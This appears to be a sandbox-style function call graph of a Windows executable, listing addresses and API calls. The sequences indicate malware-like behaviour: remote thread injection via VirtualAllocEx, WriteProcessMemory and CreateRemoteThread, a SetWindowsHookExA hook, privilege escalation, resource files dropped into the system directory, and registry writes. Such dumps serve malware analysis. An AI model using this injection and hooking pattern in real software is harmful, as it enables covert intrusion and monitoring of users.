13618->13619 13620 4203f4 13619->13620 13627 420400 13620->13627 13621->13623 13622 425a4d 36 API calls 13624 42035d 13622->13624 13623->13622 13624->13625 13626 4259c0 ___initmbctable 50 API calls 13624->13626 13775 41f020 OpenSCManagerA 13625->13775 13626->13625 13628 4204d6 13627->13628 13638 420555 13628->13638 13788 41efa0 OpenSCManagerA 13628->13788 13630 42051b 13631 41efa0 7 API calls 13630->13631 13633 42052b 13631->13633 13632 424873 _fast_error_exit 36 API calls 13634 420566 13632->13634 13635 41f020 11 API calls 13633->13635 13738 420570 13634->13738 13636 420540 13635->13636 13637 41f020 11 API calls 13636->13637 13637->13638 13638->13632 13640 421240 GetProcessHeap HeapAlloc RegOpenKeyExA 13639->13640 13642 4214bb GetLastError 13640->13642 13643 4214c9 13640->13643 13642->13643 13644 41f020 11 API calls 13643->13644 13645 421505 13644->13645 13646 41f100 5 API calls 13645->13646 13647 421518 GetProcessHeap HeapFree RegCloseKey 13646->13647 13648 424873 _fast_error_exit 36 API calls 13647->13648 13649 421544 13648->13649 13650 421550 13649->13650 13651 421710 13650->13651 13651->13651 13652 4217ee GetProcessHeap HeapAlloc RegOpenKeyExA 13651->13652 13653 421890 RegQueryValueExA 13652->13653 13654 421888 GetLastError 13652->13654 13655 4218b0 GetLastError 13653->13655 13656 4218bd 13653->13656 13654->13653 13657 421944 13655->13657 13658 425a4d 36 API calls 13656->13658 13659 41f020 11 API calls 13657->13659 13660 4218c8 13658->13660 13662 4219a2 13659->13662 13661 4218d5 13660->13661 13663 4259c0 ___initmbctable 50 API calls 13660->13663 13665 425a4d 36 API calls 13661->13665 13664 41f100 5 API calls 13662->13664 13663->13661 13666 4219b5 GetProcessHeap HeapFree RegCloseKey 13664->13666 13667 4218e9 13665->13667 13668 424873 _fast_error_exit 36 API calls 13666->13668 13669 4218f6 13667->13669 13671 4259c0 ___initmbctable 50 API calls 13667->13671 13670 421a0a 13668->13670 13672 425a4d 36 API calls 13669->13672 13675 421a20 13670->13675 13671->13669 13673 421937 13672->13673 13673->13657 13674 4259c0 ___initmbctable 50 API calls 13673->13674 13674->13657 13676 421b30 13675->13676 13676->13676 13677 421ba4 GetProcessHeap HeapAlloc RegOpenKeyExA 13676->13677 13678 421c60 RegQueryValueExA 13677->13678 13679 421c58 GetLastError 13677->13679 13680 421c81 GetLastError 13678->13680 13681 421c8b 13678->13681 13679->13678 13696 421ce7 13680->13696 13682 425a4d 36 API calls 13681->13682 13683 421c96 13682->13683 13685 421ca3 13683->13685 13687 4259c0 ___initmbctable 50 API calls 13683->13687 13684 41f020 11 API calls 13686 421d17 GetProcessHeap HeapFree RegCloseKey 13684->13686 13689 425a4d 36 API calls 13685->13689 13688 424873 _fast_error_exit 36 API calls 13686->13688 13687->13685 13690 421d43 13688->13690 13691 421cb8 13689->13691 13698 41f660 13690->13698 13692 4259c0 ___initmbctable 50 API calls 13691->13692 13694 421cc5 13691->13694 13692->13694 13693 425a4d 36 API calls 13695 421cda 13693->13695 13694->13693 13695->13696 13697 4259c0 ___initmbctable 50 API calls 13695->13697 13696->13684 13697->13696 13699 41f773 13698->13699 13699->13699 13700 41f796 13699->13700 13703 41f7a7 13699->13703 13701 424873 _fast_error_exit 36 API calls 13700->13701 13704 41f7a3 13701->13704 13702 41f7b4 LoadLibraryA 13705 41f7df 13702->13705 13706 41f7c9 GetProcAddress 13702->13706 13703->13702 13703->13705 13704->13599 13708 424873 _fast_error_exit 36 API calls 13705->13708 13706->13705 13707 41f7f0 SetWindowsHookExA 13706->13707 13710 41f80c 13707->13710 13709 41f7ec 13708->13709 13709->13599 13711 424873 _fast_error_exit 36 API calls 13710->13711 13712 41f821 13711->13712 13712->13599 13714 41fa16 13713->13714 13715 41fb79 GetProcessHeap HeapAlloc RegOpenKeyExA 13714->13715 13716 41fc24 GetLastError 13715->13716 13717 41fc29 RegQueryValueExA 13715->13717 13716->13717 13718 41fc51 13717->13718 13719 41fc4a GetLastError 13717->13719 13720 425a4d 36 API calls 13718->13720 13736 41fca7 13719->13736 13721 41fc5c 13720->13721 13723 41fc69 13721->13723 13726 4259c0 ___initmbctable 50 API calls 13721->13726 13722 41f020 11 API calls 13724 41fccd 13722->13724 13725 425a4d 36 API calls 13723->13725 13727 41f100 5 API calls 13724->13727 13729 41fc7b 13725->13729 13726->13723 13728 41fcdd GetProcessHeap HeapFree RegCloseKey 13727->13728 13730 424873 _fast_error_exit 36 API calls 13728->13730 13731 41fc88 13729->13731 13733 4259c0 ___initmbctable 50 API calls 13729->13733 13732 41fd45 13730->13732 13734 425a4d 36 API calls 13731->13734 13732->13585 13733->13731 13735 41fc9a 13734->13735 13735->13736 13737 4259c0 ___initmbctable 50 API calls 13735->13737 13736->13722 13737->13736 13739 420730 13738->13739 13740 420e34 GetProcessHeap HeapAlloc RegOpenKeyExA 13739->13740 13741 420f00 13740->13741 13742 420ef1 GetLastError 13740->13742 13743 420f04 RegQueryValueExA 13741->13743 13742->13743 13744 420f32 13743->13744 13745 420f27 GetLastError 13743->13745 13746 420f40 RegCloseKey RegOpenKeyExA 13744->13746 13745->13746 13747 420f60 GetLastError 13746->13747 13748 420f69 RegQueryValueExA 13746->13748 13747->13748 13749 420f92 GetLastError 13748->13749 13750 420fa7 13748->13750 13752 420fc2 13749->13752 13793 42cfce 13750->13793 13753 41f020 11 API calls 13752->13753 13754 42107e 13753->13754 13755 41f100 5 API calls 13754->13755 13756 42108e GetProcessHeap HeapFree RegCloseKey 13755->13756 13757 424873 _fast_error_exit 36 API calls 13756->13757 13758 4210c4 13757->13758 13758->13591 13760 41f327 13759->13760 13760->13760 13761 41f50e GetProcessHeap HeapAlloc GetSystemDirectoryA 13760->13761 13762 41f550 13761->13762 13763 41f631 GetProcessHeap HeapFree 13762->13763 13764 41f5e6 13762->13764 13765 41f5cf CreateEventA 13762->13765 13766 424873 _fast_error_exit 36 API calls 13763->13766 13764->13763 13767 41f5f0 CreateProcessA 13764->13767 13765->13764 13768 41f652 13766->13768 13767->13763 13769 41f613 CloseHandle CloseHandle 13767->13769 13768->13339 13769->13763 13771 426f68 __lock 36 API calls 13770->13771 13772 425a66 13771->13772 13773 424873 _fast_error_exit 36 API calls 13772->13773 13774 4202e4 13773->13774 13774->13612 13774->13614 13776 41f039 GetLastError 13775->13776 13777 41f04e OpenServiceA 13775->13777 13776->13613 13778 41f080 QueryServiceStatusEx 13777->13778 13779 41f063 GetLastError CloseServiceHandle 13777->13779 13780 41f099 GetLastError CloseServiceHandle CloseServiceHandle 13778->13780 13781 41f0bb CloseServiceHandle CloseServiceHandle 13778->13781 13779->13613 13780->13613 13782 41f0d0 13781->13782 13782->13613 13784 41f11d GetLastError 13783->13784 13785 41f12f WaitForSingleObject 13783->13785 13784->13618 13786 41f140 CloseHandle 13785->13786 13787 41f159 CloseHandle 13785->13787 13786->13618 13787->13618 13789 41efb6 GetLastError 13788->13789 13790 41efc8 OpenServiceA 13788->13790 13789->13630 13791 41eff3 CloseServiceHandle CloseServiceHandle 13790->13791 13792 41efda GetLastError CloseServiceHandle 13790->13792 13791->13630 13792->13630 13794 42cfda ___free_lc_time 13793->13794 13795 426f68 __lock 36 API calls 13794->13795 13796 42cfe4 13795->13796 13797 42cff7 13796->13797 13798 427a79 ___initmbctable 36 API calls 13796->13798 13799 42a027 ___initmbctable 61 API calls 13797->13799 13800 42d003 ___free_lc_time 13797->13800 13798->13797 13801 42d042 _fast_error_exit 13799->13801 13800->13752 13801->13800 13802 4263b4 __getbuf 36 API calls 13801->13802 13804 42d08f 13801->13804 13802->13804 13803 42a027 ___initmbctable 61 API calls 13805 42d0b8 _strcat 13803->13805 13804->13803 13804->13805 13805->13800 13806 4255be ___free_lc_time 36 API calls 13805->13806 13806->13800 13808 421f87 GetSystemDirectoryA 13807->13808 13810 422130 GetFileAttributesA 13808->13810 13812 422296 GetFileAttributesA 13810->13812 13813 42227f 13810->13813 13815 4222a2 13812->13815 13816 4222b6 GetFileAttributesA 13812->13816 13827 421e40 13813->13827 13818 421e40 7 API calls 13815->13818 13819 4222c5 13816->13819 13820 4222d9 13816->13820 13817 422293 13817->13812 13821 4222b3 13818->13821 13822 421e40 7 API calls 13819->13822 13834 4223a0 13820->13834 13821->13816 13822->13820 13824 4222e1 13825 424873 _fast_error_exit 36 API calls 13824->13825 13826 413ad5 13825->13826 13826->13428 13846 421de0 FindResourceA 13827->13846 13829 421e5c 13830 421e63 13829->13830 13831 421e67 CreateFileA 13829->13831 13830->13817 13832 421e91 WriteFile CloseHandle 13831->13832 13833 421e87 13831->13833 13832->13817 13833->13817 13835 422461 13834->13835 13835->13835 13836 4227e4 GetProcessHeap HeapAlloc RegOpenKeyExA RegQueryValueExA 13835->13836 13837 422848 RegCloseKey 13836->13837 13840 42286b 13836->13840 13838 424873 _fast_error_exit 36 API calls 13837->13838 13839 422864 13838->13839 13839->13824 13840->13840 13841 4228c9 RegSetValueExA 13840->13841 13842 4228eb RegCloseKey GetProcessHeap HeapFree 13841->13842 13843 4228e9 13841->13843 13844 424873 _fast_error_exit 36 API calls 13842->13844 13843->13842 13845 422917 13844->13845 13845->13824 13847 421e00 LoadResource 13846->13847 13848 421dfd 13846->13848 13849 421e15 SizeofResource LockResource 13847->13849 13850 421e0f 13847->13850 13848->13829 13849->13850 13850->13829 13852 412e80 13851->13852 13852->13852 13853 412ea4 RegOpenKeyExA 13852->13853 13854 412fa5 13853->13854 13855 412ec8 RegQueryValueExA 13853->13855 13856 424873 _fast_error_exit 36 API calls 13854->13856 13859 412f83 RegCloseKey 13855->13859 13860 412f7e 13855->13860 13857 412fb4 13856->13857 13857->13433 13861 424873 _fast_error_exit 36 API calls 13859->13861 13860->13859 13862 412f9e 13861->13862 13862->13433 13876 41dde0 13863->13876 13866 41e107 13866->13447 13867 41e10d LoadResource 13868 41e123 SizeofResource LockResource 13867->13868 13869 41e11c 13867->13869 13870 41e143 CreateFileA 13868->13870 13871 41e13b 13868->13871 13869->13447 13872 41e19b WriteFile 13870->13872 13873 41e18b 13870->13873 13871->13447 13872->13873 13874 41e240 13873->13874 13875 41e239 CloseHandle 13873->13875 13874->13447 13875->13874 13877 41de01 FindResourceA 13876->13877 13877->13866 13877->13867 14036 419a40 13878->14036 13881 419a40 42 API calls 13882 41aa81 13881->13882 13883 419a40 42 API calls 13882->13883 13884 41aaa9 CreateMutexA 13883->13884 13884->13455 13885->13457 14066 402390 13886->14066 14069 407880 13889->14069 13894 407830 42 API calls 13895 40b5af 13894->13895 13896 407830 42 API calls 13895->13896 13897 40b5c4 CreateMutexA 13896->13897 14075 408250 13897->14075 13902 405090 GetSystemDirectoryA 13903 4050f0 13902->13903 13903->13903 13904 405106 lstrcatA lstrcatA GetFileAttributesA 13903->13904 13905 405193 13904->13905 13906 405269 13904->13906 13908 41e0b0 7 API calls 13905->13908 13907 424873 _fast_error_exit 36 API calls 13906->13907 13910 40527d 13907->13910 13909 4051a7 13908->13909 13911 4051c3 13909->13911 14268 4047a0 GetCurrentProcess GetCurrentProcess OpenProcessToken 13909->14268 13910->13463 13913 424873 _fast_error_exit 36 API calls 13911->13913 13915 4051d4 13913->13915 13915->13463 13916 4051db Process32First 13917 405262 CloseHandle 13916->13917 13921 4051f2 13916->13921 13917->13906 13920 405253 Process32Next 13920->13917 13920->13921 13921->13920 14273 425c34 13921->14273 14287 404990 13921->14287 14295 404840 OpenProcess 13921->14295 14308 4084d0 WaitForSingleObject 13923->14308 13925 408b02 CloseHandle 13926 408b12 13925->13926 14311 408380 13926->14311 13928 408b96 13928->13471 14324 404050 13929->14324 13931 4045b3 13931->13476 13932->13481 14355 41a610 13933->14355 13935 41a939 13936 41a610 42 API calls 13935->13936 13937 41a967 13936->13937 13938 41a610 42 API calls 13937->13938 13939 41a994 13938->13939 13939->13523 13941 4018f0 13940->13941 13941->13941 13942 401902 ExpandEnvironmentStringsA GetLocalTime CreateFileA CloseHandle 13941->13942 13943 424873 _fast_error_exit 36 API calls 13942->13943 13944 40194f 13943->13944 13944->13472 13946 413c0a 13945->13946 13946->13946 13947 407880 42 API calls 13946->13947 13952 413cc5 13947->13952 13949 413d6d 13951 4032f0 42 API calls 13949->13951 13954 413d9f 13951->13954 13952->13949 14368 404110 13952->14368 14396 41bd00 13952->14396 14417 41baf0 13952->14417 13955 424873 _fast_error_exit 36 API calls 13954->13955 13956 413dc6 13955->13956 13956->13479 14586 4166a0 13957->14586 13959 41677e 13959->13484 15063 42cf9d 13960->15063 13962 40b349 13963 425c34 61 API calls 13962->13963 13964 40b351 13963->13964 13964->13964 13965 4028a0 42 API calls 13964->13965 13966 40b373 13965->13966 13967 4255be ___free_lc_time 36 API calls 13966->13967 13968 40b379 13967->13968 13975 40b386 13968->13975 15067 408bc0 13968->15067 13971 424873 _fast_error_exit 36 API calls 13973 40b531 13971->13973 13972 40b3d5 WaitForSingleObject 13974 407c10 42 API calls 13972->13974 13973->13489 13976 40b3f1 13974->13976 13975->13971 13977 40b3f8 ReleaseMutex 13976->13977 13978 40b41a 13976->13978 13977->13975 13979 4246fe 42 API calls 13978->13979 13980 40b425 13979->13980 13981 40b475 ReleaseMutex 13980->13981 13982 40b48e 13980->13982 13981->13975 13983 4027b0 42 API calls 13982->13983 13984 40b49c 13983->13984 13985 40b4ac 13984->13985 13986 407d30 42 API calls 13984->13986 13987 40b030 42 API calls 13985->13987 13986->13985 13988 40b4b9 13987->13988 15081 4085e0 13988->15081 13991 40b4e1 13993 40b501 ReleaseMutex 13991->13993 15086 407650 13991->15086 13992 4085e0 42 API calls 13992->13991 13993->13975 15179 41df40 13995->15179 13997 4123d8 13998 4123fb 13997->13998 14000 4123e8 GetProcessHeap HeapFree 13997->14000 14000->13998 14030 41679a 14029->14030 14031 4167af 14029->14031 14032 4166a0 122 API calls 14030->14032 14033 4166a0 122 API calls 14031->14033 14032->14031 14034 414fc5 GetProcessHeap HeapFree GetProcessHeap HeapFree 14033->14034 14039 4246fe 14036->14039 14042 424705 __getbuf 14039->14042 14040 4263b4 __getbuf 36 API calls 14040->14042 14041 419a47 14041->13881 14042->14040 14042->14041 14044 4247e1 14042->14044 14045 424822 14044->14045 14046 4247f6 14044->14046 14061 425126 14045->14061 14057 4250e9 14046->14057 14049 424812 14051 42570f 40 API calls 14049->14051 14050 424830 14065 42509e RaiseException 14050->14065 14051->14045 14053 424841 ___free_lc_time 14054 426501 _fast_error_exit 36 API calls 14053->14054 14055 42485b ExitProcess 14054->14055 14058 4250fe _strlen 14057->14058 14059 4263b4 __getbuf 36 API calls 14058->14059 14060 425105 _strcat 14059->14060 14060->14049 14062 42513e _strlen 14061->14062 14064 42514d _strcat 14061->14064 14063 4263b4 __getbuf 36 API calls 14062->14063 14063->14064 14064->14050 14065->14053 14067 4246fe 42 API calls 14066->14067 14068 402397 CreateMutexA 14067->14068 14068->13459 14070 4246fe 42 API calls 14069->14070 14071 407887 14070->14071 14072 407830 14071->14072 14073 4246fe 42 API calls 14072->14073 14074 407837 14073->14074 14074->13894 14076 408325 14075->14076 14076->14076 14077 408339 ExpandEnvironmentStringsA 14076->14077 14078 408355 14077->14078 14078->14078 14100 4028a0 14078->14100 14080 40836c 14081 424873 _fast_error_exit 36 API calls 14080->14081 14082 408379 14081->14082 14083 40b0f0 14082->14083 14084 40b124 CreateFileA 14083->14084 14086 40b2e5 14084->14086 14092 40b150 14084->14092 14087 424873 _fast_error_exit 36 API calls 14086->14087 14090 40b2f9 14087->14090 14088 40b160 SetFilePointer ReadFile 14089 40b2de CloseHandle 14088->14089 14088->14092 14089->14086 14090->13902 14091 40b197 ReadFile 14091->14089 14091->14092 14092->14088 14092->14089 14092->14091 14093 40b1bb ReadFile 14092->14093 14094 4246fe 42 API calls 14092->14094 14095 402a90 42 API calls 14092->14095 14099 4085e0 42 API calls 14092->14099 14169 407c10 14092->14169 14173 407d30 14092->14173 14177 40b030 14092->14177 14093->14089 14093->14092 14094->14092 14095->14092 14099->14092 14102 4028ad 14100->14102 14101 4028f1 14103 402902 14101->14103 14124 424762 14101->14124 14102->14101 14106 4028d4 14102->14106 14107 402915 14103->14107 14134 402250 14103->14134 14110 4027b0 14106->14110 14107->14080 14109 4028eb 14109->14080 14111 4027c3 14110->14111 14112 4027c8 14110->14112 14138 424722 14111->14138 14114 4027fa 14112->14114 14115 4027db 14112->14115 14116 402806 14114->14116 14118 424762 42 API calls 14114->14118 14154 4021d0 14115->14154 14121 402250 42 API calls 14116->14121 14123 402819 14116->14123 14118->14116 14119 4027e7 14120 4021d0 42 API calls 14119->14120 14122 4027f1 14120->14122 14121->14123 14122->14109 14123->14109 14125 42476c __EH_prolog 14124->14125 14126 402a90 42 API calls 14125->14126 14127 42477c 14126->14127 14128 402a30 42 API calls 14127->14128 14129 42478c 14128->14129 14168 42509e RaiseException 14129->14168 14131 4247a1 14132 425184 14131->14132 14133 4255be ___free_lc_time 36 API calls 14131->14133 14132->14103 14133->14132 14135 402283 14134->14135 14136 4246fe 42 API calls 14135->14136 14137 4022b9 14136->14137 14137->14107 14139 42472c __EH_prolog 14138->14139 14158 402a90 14139->14158 14145 424761 __EH_prolog 14146 402a90 42 API calls 14145->14146 14147 42477c 14146->14147 14148 402a30 42 API calls 14147->14148 14149 42478c 14148->14149 14167 42509e RaiseException 14149->14167 14151 425184 14151->14112 14152 4247a1 14152->14151 14153 4255be ___free_lc_time 36 API calls 14152->14153 14153->14151 14155 4021de 14154->14155 14157 4021e3 ___free_lc_time 14154->14157 14156 424722 42 API calls 14155->14156 14156->14157 14157->14119 14159 402ab0 14158->14159 14159->14159 14160 4028a0 42 API calls 14159->14160 14161 402ac2 14160->14161 14162 402a30 14161->14162 14163 402a52 14162->14163 14164 4027b0 42 API calls 14163->14164 14165 402a7b 14164->14165 14166 42509e RaiseException 14165->14166 14166->14145 14167->14152 14168->14131 14170 407c1f 14169->14170 14172 407c48 14170->14172 14185 402090 14170->14185 14172->14092 14174 407d40 14173->14174 14174->14174 14175 4028a0 42 API calls 14174->14175 14176 407d50 14175->14176 14176->14092 14179 40b058 14177->14179 14178 40b082 14180 4027b0 42 API calls 14178->14180 14184 40b0bd 14178->14184 14179->14178 14183 402090 42 API calls 14179->14183 14181 40b0a3 14180->14181 14189 40ae60 14181->14189 14183->14178 14184->14092 14186 40209e 14185->14186 14188 4020a3 14185->14188 14187 424722 42 API calls 14186->14187 14187->14188 14188->14172 14190 40ae6e 14189->14190 14191 40ae8f 14189->14191 14234 408620 14190->14234 14192 40aed2 14191->14192 14193 40aea4 14191->14193 14197 40aed6 14192->14197 14198 40af0d 14192->14198 14244 402400 14193->14244 14195 40ae85 14195->14184 14201 402400 42 API calls 14197->14201 14199 402400 42 API calls 14198->14199 14213 40af17 14199->14213 14204 40aee3 14201->14204 14202 40aeb6 14206 408620 42 API calls 14202->14206 14203 40afe8 14248 4088e0 14203->14248 14204->14203 14207 40aeeb 14204->14207 14205 40af77 14212 402400 42 API calls 14205->14212 14210 40aec6 14206->14210 14211 408620 42 API calls 14207->14211 14209 40aff5 14209->14184 14210->14184 14214 40af01 14211->14214 14217 40af83 14212->14217 14213->14205 14215 402400 42 API calls 14213->14215 14214->14184 14216 40af38 14215->14216 14216->14205 14218 40af3c 14216->14218 14217->14203 14219 40afad 14217->14219 14222 402400 42 API calls 14217->14222 14220 40af62 14218->14220 14221 40af4d 14218->14221 14223 40afd3 14219->14223 14224 40afbe 14219->14224 14226 408620 42 API calls 14220->14226 14225 408620 42 API calls 14221->14225 14227 40afa9 14222->14227 14230 408620 42 API calls 14223->14230 14228 408620 42 API calls 14224->14228 14229 40af56 14225->14229 14231 40af6b 14226->14231 14227->14203 14227->14219 14232 40afc7 14228->14232 14229->14184 14233 40afdc 14230->14233 14231->14184 14232->14184 14233->14184 14235 408691 14234->14235 14236 408645 14234->14236 14260 408440 14235->14260 14238 4028a0 42 API calls 14236->14238 14239 408668 14238->14239 14240 402a30 42 API calls 14239->14240 14241 40867a 14240->14241 14259 42509e RaiseException 14241->14259 14243 4086aa 14243->14195 14245 40240d 14244->14245 14246 402090 42 API calls 14245->14246 14247 402426 14246->14247 14247->14202 14247->14203 14256 408908 14248->14256 14249 4089e0 14252 402090 42 API calls 14249->14252 14250 4089bc 14251 408620 42 API calls 14250->14251 14253 4089ca 14251->14253 14254 408a0e 14252->14254 14253->14209 14255 408a3d 14254->14255 14257 408620 42 API calls 14254->14257 14255->14209 14256->14249 14256->14250 14258 408a27 14257->14258 14258->14209 14259->14235 14261 4246fe 42 API calls 14260->14261 14262 408468 14261->14262 14263 40849d 14262->14263 14265 408120 14262->14265 14263->14243 14266 4027b0 42 API calls 14265->14266 14267 40815e 14266->14267 14267->14263 14269 4047c1 LookupPrivilegeValueA 14268->14269 14270 404832 CreateToolhelp32Snapshot 14268->14270 14271 4047d7 AdjustTokenPrivileges 14269->14271 14272 404828 CloseHandle 14269->14272 14270->13911 14270->13916 14271->14272 14272->14270 14274 425c40 ___free_lc_time 14273->14274 14275 426f68 __lock 36 API calls 14274->14275 14276 425c4a 14275->14276 14277 425c5d 14276->14277 14278 427a79 ___initmbctable 36 API calls 14276->14278 14279 42a027 ___initmbctable 61 API calls 14277->14279 14280 425c69 ___free_lc_time 14277->14280 14278->14277 14281 425ca8 _fast_error_exit 14279->14281 14280->13921 14281->14280 14282 425cf5 14281->14282 14283 4263b4 __getbuf 36 API calls 14281->14283 14284 42a027 ___initmbctable 61 API calls 14282->14284 14285 425d1e _strcat 14282->14285 14283->14282 14284->14285 14285->14280 14286 4255be ___free_lc_time 36 API calls 14285->14286 14286->14280 14288 404a2c 14287->14288 14289 405067 14288->14289 14290 405052 14288->14290 14291 424873 _fast_error_exit 36 API calls 14289->14291 14292 424873 _fast_error_exit 36 API calls 14290->14292 14293 40507a 14291->14293 14294 405060 14292->14294 14293->13921 14294->13921 14296 40492b 14295->14296 14297 40488e lstrlenA VirtualAllocEx 14295->14297 14303 404962 14296->14303 14297->14296 14298 4048c6 WriteProcessMemory 14297->14298 14298->14296 14300 4048dd GetModuleHandleA GetProcAddress 14298->14300 14300->14296 14302 40490b CreateRemoteThread 14300->14302 14302->14296 14304 404970 14303->14304 14305 404969 CloseHandle 14303->14305 14306 404949 14304->14306 14307 40497b CloseHandle 14304->14307 14305->14304 14306->13921 14307->14306 14310 4084f1 14308->14310 14309 4085c4 ReleaseMutex 14309->13925 14310->14309 14314 408394 14311->14314 14312 408398 14312->13928 14314->14312 14314->14314 14315 407e40 14314->14315 14316 407e6b 14315->14316 14322 407eb7 14315->14322 14317 4028a0 42 API calls 14316->14317 14318 407e8e 14317->14318 14319 402a30 42 API calls 14318->14319 14320 407ea0 14319->14320 14323 42509e RaiseException 14320->14323 14322->14314 14323->14322 14327 404064 14324->14327 14325 404068 14325->13931 14327->14325 14328 403a80 14327->14328 14329 403aa7 14328->14329 14337 403af3 14328->14337 14330 4028a0 42 API calls 14329->14330 14331 403aca 14330->14331 14332 402a30 42 API calls 14331->14332 14333 403adc 14332->14333 14338 42509e RaiseException 14333->14338 14336 403d0d 14336->14327 14339 403530 14337->14339 14338->14337 14342 4032f0 14339->14342 14341 40356d 14341->14336 14344 403304 14342->14344 14343 403308 14343->14341 14344->14343 14346 402e40 14344->14346 14347 402e6b 14346->14347 14353 402eb7 14346->14353 14348 4028a0 42 API calls 14347->14348 14349 402e8e 14348->14349 14350 402a30 42 API calls 14349->14350 14351 402ea0 14350->14351 14354 42509e RaiseException 14351->14354 14353->14344 14354->14353 14357 41a624 14355->14357 14356 41a628 14356->13935 14357->14356 14359 41a290 14357->14359 14360 41a2b7 14359->14360 14366 41a303 14359->14366 14361 4028a0 42 API calls 14360->14361 14362 41a2da 14361->14362 14363 402a30 42 API calls 14362->14363 14364 41a2ec 14363->14364 14367 42509e RaiseException 14364->14367 14366->14357 14367->14366 14421 402bc0 14368->14421 14370 404147 WaitForSingleObject 14371 4041d0 14370->14371 14371->14371 14372 4028a0 42 API calls 14371->14372 14373 4041e4 14372->14373 14423 4029c0 14373->14423 14375 404201 14376 404244 14375->14376 14377 40428d ReleaseMutex 14375->14377 14378 404269 ReleaseMutex 14376->14378 14379 4032f0 42 API calls 14376->14379 14395 4042e1 14377->14395 14378->13952 14380 404261 14379->14380 14427 4033b0 14380->14427 14381 40451b 14381->13952 14383 40447a 14383->14381 14384 404492 WaitForSingleObject 14383->14384 14385 402a90 42 API calls 14384->14385 14386 4044b9 14385->14386 14443 403f40 14386->14443 14388 4044d2 14457 4034d0 14388->14457 14389 4028a0 42 API calls 14389->14395 14391 4044d9 14393 4044ed ReleaseMutex 14391->14393 14392 4027b0 42 API calls 14392->14395 14393->13952 14395->14381 14395->14383 14395->14389 14395->14392 14430 4031f0 14395->14430 14581 41ba60 14396->14581 14398 41bd14 14399 41bd49 14398->14399 14400 41bd2e 14398->14400 14402 41bd81 14399->14402 14415 41be17 14399->14415 14401 424873 _fast_error_exit 36 API calls 14400->14401 14403 41bd43 14401->14403 14405 41ba60 CloseHandle 14402->14405 14403->13952 14404 41bf30 14408 41c03d CreateEventA 14404->14408 14409 41c02e 14404->14409 14406 41bde2 14405->14406 14407 424873 _fast_error_exit 36 API calls 14406->14407 14410 41be11 14407->14410 14408->14409 14411 41c09e 14408->14411 14412 41ba60 CloseHandle 14409->14412 14410->13952 14413 424873 _fast_error_exit 36 API calls 14411->14413 14412->14411 14414 41c0af 14413->14414 14414->13952 14415->14404 14416 41beeb WaitForSingleObject 14415->14416 14416->14404 14418 41bafb 14417->14418 14419 41bb3d 14417->14419 14418->14419 14420 41bb12 CloseHandle 14418->14420 14419->13952 14420->13952 14422 402bd2 14421->14422 14422->14370 14425 4029cf 14423->14425 14424 4029f8 14424->14375 14425->14424 14426 402090 42 API calls 14425->14426 14426->14424 14463 403140 14427->14463 14429 4033cb 14429->14378 14429->14429 14431 403210 14430->14431 14432 403252 14430->14432 14431->14432 14440 402090 42 API calls 14431->14440 14433 403263 14432->14433 14438 403291 14432->14438 14479 402c00 14433->14479 14437 403273 14437->14395 14489 402440 14438->14489 14439 4032d5 14439->14395 14440->14431 14441 402c00 42 API calls 14442 4032c1 14441->14442 14442->14395 14444 403f67 14443->14444 14447 402090 42 API calls 14444->14447 14449 403f90 14444->14449 14445 407880 42 API calls 14446 403fa1 14445->14446 14494 403640 14446->14494 14447->14449 14449->14445 14456 40401d 14449->14456 14452 403fef 14453 403530 42 API calls 14452->14453 14454 403fff 14453->14454 14455 4032f0 42 API calls 14454->14455 14455->14456 14456->14388 14458 4034f7 14457->14458 14459 4034dc 14457->14459 14458->14391 14460 4032f0 42 API calls 14459->14460 14461 4034ef 14460->14461 14462 4033b0 42 API calls 14461->14462 14462->14458 14464 4031bf 14463->14464 14465 403176 14463->14465 14464->14429 14471 402b30 14465->14471 14468 403140 42 API calls 14469 4031b1 14468->14469 14470 403140 42 API calls 14469->14470 14470->14464 14472 4246fe 42 API calls 14471->14472 14473 402b58 14472->14473 14474 402b8d 14473->14474 14476 402ad0 14473->14476 14474->14468 14477 4027b0 42 API calls 14476->14477 14478 402b12 14477->14478 14478->14474 14480 402c71 14479->14480 14481 402c25 14479->14481 14483 402b30 42 API calls 14480->14483 14482 4028a0 42 API calls 14481->14482 14484 402c48 14482->14484 14488 402c8a 14483->14488 14485 402a30 42 API calls 14484->14485 14486 402c5a 14485->14486 14493 42509e RaiseException 14486->14493 14488->14437 14490 402474 14489->14490 14491 402451 14489->14491 14490->14439 14490->14441 14491->14490 14492 402090 42 API calls 14491->14492 14492->14490 14493->14480 14495 4027b0 42 API calls 14494->14495 14496 40367d 14495->14496 14544 403440 14496->14544 14499 403d90 14500 403d9e 14499->14500 14501 403dbf 14499->14501 14549 403750 14500->14549 14503 403e02 14501->14503 14504 403dd4 14501->14504 14506 403e06 14503->14506 14507 403e3d 14503->14507 14505 402400 42 API calls 14504->14505 14509 403dde 14505->14509 14510 402400 42 API calls 14506->14510 14511 402400 42 API calls 14507->14511 14508 403db5 14508->14452 14512 403de6 14509->14512 14513 403f18 14509->14513 14514 403e13 14510->14514 14523 403e47 14511->14523 14515 403750 42 API calls 14512->14515 14559 403900 14513->14559 14514->14513 14516 403e1b 14514->14516 14519 403df6 14515->14519 14520 403750 42 API calls 14516->14520 14518 403ea7 14521 402400 42 API calls 14518->14521 14519->14452 14524 403e31 14520->14524 14527 403eb3 14521->14527 14522 403f25 14522->14452 14523->14518 14525 402400 42 API calls 14523->14525 14524->14452 14526 403e68 14525->14526 14526->14518 14528 403e6c 14526->14528 14527->14513 14529 403edd 14527->14529 14532 402400 42 API calls 14527->14532 14530 403e92 14528->14530 14531 403e7d 14528->14531 14533 403f03 14529->14533 14534 403eee 14529->14534 14536 403750 42 API calls 14530->14536 14535 403750 42 API calls 14531->14535 14537 403ed9 14532->14537 14540 403750 42 API calls 14533->14540 14538 403750 42 API calls 14534->14538 14539 403e86 14535->14539 14541 403e9b 14536->14541 14537->14513 14537->14529 14542 403ef7 14538->14542 14539->14452 14543 403f0c 14540->14543 14541->14452 14542->14452 14543->14452 14545 407880 42 API calls 14544->14545 14546 40346b 14545->14546 14547 4033b0 42 API calls 14546->14547 14548 40349c 14547->14548 14548->14499 14550 4037c1 14549->14550 14551 403775 14549->14551 14571 4036b0 14550->14571 14553 4028a0 42 API calls 14551->14553 14554 403798 14553->14554 14555 402a30 42 API calls 14554->14555 14556 4037aa 14555->14556 14570 42509e RaiseException 14556->14570 14558 4037da 14558->14508 14560 403928 14559->14560 14561 403a00 14560->14561 14562 4039dc 14560->14562 14565 402090 42 API calls 14561->14565 14563 403750 42 API calls 14562->14563 14564 4039ea 14563->14564 14564->14522 14566 403a2e 14565->14566 14567 403a5d 14566->14567 14568 403750 42 API calls 14566->14568 14567->14522 14569 403a47 14568->14569 14569->14522 